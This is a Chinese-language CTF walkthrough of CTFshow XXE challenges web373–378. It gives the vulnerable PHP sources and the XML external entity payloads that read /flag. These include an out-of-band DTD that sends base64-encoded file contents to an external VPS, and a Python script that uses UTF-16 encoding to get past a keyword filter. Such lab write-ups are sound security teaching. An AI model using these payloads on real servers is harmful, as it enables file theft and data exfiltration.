CTFSHOW-XXE

文章发布时间:

最后更新时间:

前置知识

https://xz.aliyun.com/t/3357

一些关键要点

原理:在解析外部实体的过程中,XML解析器可以根据URL中指定的方案(协议)来查询各种网络协议和服务(DNS,FTP,HTTP,SMB等)

  1. web373 开x

    题目给出了源码,应该就是XXE的一个最基本的可触发漏洞场景,我们分析一下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    <?php

    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date: 2021-01-07 12:59:52
    # @Last Modified by: h1xa
    # @Last Modified time: 2021-01-07 13:36:47
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com

    */

    error_reporting(0);
    libxml_disable_entity_loader(false);
    $xmlfile = file_get_contents('php://input');
    // 可通过POST传参
    if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
    }
    highlight_file(__FILE__);

    首先libxml_disable_entity_loader()

    Disable/enable the ability to load external entities. Note that disabling the loading of external entities may cause general issues with loading XML documents. However, as of libxml 2.9.0 entity substitution is disabled by default, so there is no need to disable the loading of external entities, unless there is the need to resolve internal entity references with LIBXML_NOENT. Generally, it is preferable to use libxml_set_external_entity_loader() to suppress loading of external entities.

    两个参数LIBXML_NOENTLIBXML_DTDLOAD

    1
    2
    3
    4
    5
    6
    LIBXML_NOENT (int)
    Substitute entities
    警告
    Enabling entity substitution may facilitate XML External Entity (XXE) attacks.
    LIBXML_DTDLOAD (int)
    Load the external subset

    simplexml_import_dom()

    This function takes a node of a DOM document and makes it into a SimpleXML node. This new object can then be used as a native SimpleXML element.

    其中会输出creds结点下ctfshow子结点的值,因此可构造形式如下

    1
    <ctfshow>xxx</ctfshow>

    由于可利用回显,我们可以直接外部实体注入,回显点在ctfshow实体。

    1
    2
    3
    4
    5
    6
    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE creds [
    <!ENTITY xxe SYSTEM "file:///flag"> ]>
    <creds>
    <ctfshow>&xxe;</ctfshow>
    </creds>
  2. web374. 开x

    先看源码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    <?php

    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date: 2021-01-07 12:59:52
    # @Last Modified by: h1xa
    # @Last Modified time: 2021-01-07 13:36:47
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com

    */

    error_reporting(0);
    libxml_disable_entity_loader(false);
    $xmlfile = file_get_contents('php://input');
    if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    }
    highlight_file(__FILE__);

    这里可以看到不再会有获取XML结点并输出实体的操作,也就是无回显的场景。需要考虑外带参数,利用参数的实体注入

    test.dtd

    1
    2
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
    <!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://43.140.198.45:81?p=%file;'">

    payload:

    1
    2
    3
    4
    <!DOCTYPE xxe [ 
    <!ENTITY % remote SYSTEM "http://43.140.198.45:81/XXE">
    %remote;%int;%send;
    ]>

    image-20221114002603355

    这里调用顺序就是先加载本地参数实体remote,然后向vps发送请求test.dtd。后者请求到后加载实体int,由于其中又引用了实体file,所以会触发本地请求(通过伪协议+file协议)flag文件替换原来的参数实体,最后加载send,将p参数及本地请求结果回传至vps

  3. web375. 开x

    源码如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    <?php

    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date: 2021-01-07 12:59:52
    # @Last Modified by: h1xa
    # @Last Modified time: 2021-01-07 15:22:05
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com

    */

    error_reporting(0);
    libxml_disable_entity_loader(false);
    $xmlfile = file_get_contents('php://input');
    if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
    die('error');
    }
    if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    }
    highlight_file(__FILE__);

    可以看到其中加入了黑名单检验xml头<?xml version="1.0"

    可以利用参数外带的方式继续打

  4. web376. 开x

    源码如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    <?php

    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date: 2021-01-07 12:59:52
    # @Last Modified by: h1xa
    # @Last Modified time: 2021-01-07 15:23:51
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com

    */

    error_reporting(0);
    libxml_disable_entity_loader(false);
    $xmlfile = file_get_contents('php://input');
    if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
    die('error');
    }
    if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    }
    highlight_file(__FILE__);

    加入了忽略大小写,继续

  5. web377. 开x

    源码如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    <?php

    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date: 2021-01-07 12:59:52
    # @Last Modified by: h1xa
    # @Last Modified time: 2021-01-07 15:26:55
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com

    */

    error_reporting(0);
    libxml_disable_entity_loader(false);
    $xmlfile = file_get_contents('php://input');
    if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
    die('error');
    }
    if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    }
    highlight_file(__FILE__);

    可以看到ban了http关键词,这里采用编码绕过

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    import requests

    url = "http://bc5cb52a-f981-471a-8e5c-606ec32abb66.challenge.ctf.show/"

    data = """
    <!DOCTYPE xxe [
    <!ENTITY % remote SYSTEM "http://43.140.198.45:81/XXE">
    %remote;%int;%send;
    ]>
    """
    r = requests.post(url, data=data.encode('utf-16'))
  6. web378. pythonx

    打开题面后,源码中存在js

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    function doLogin(){
    var username = $("#username").val();
    var password = $("#password").val();
    if(username == "" || password == ""){
    alert("Please enter the username and password!");
    return;
    }

    var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
    $.ajax({
    type: "POST",
    url: "doLogin",
    contentType: "application/xml;charset=utf-8",
    data: data,
    dataType: "xml",
    anysc: false,
    success: function (result) {
    var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
    var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
    if(code == "0"){
    $(".msg").text(msg + " login fail!");
    }else if(code == "1"){
    $(".msg").text(msg + " login success!");
    }else{
    $(".msg").text("error:" + msg);
    }
    },
    error: function (XMLHttpRequest,textStatus,errorThrown) {
    $(".msg").text(errorThrown + ':' + textStatus);
    }
    });
    }

    可以看到username和password可控且直接拼接到xml当中,存在xxe,且可以直接回显。

    1
    2
    3
    4
    			<!DOCTYPE xxe [ 
    <!ENTITY cmd SYSTEM "file:///flag" >
    ]>
    <user><username>&cmd;</username><password>1</password></user>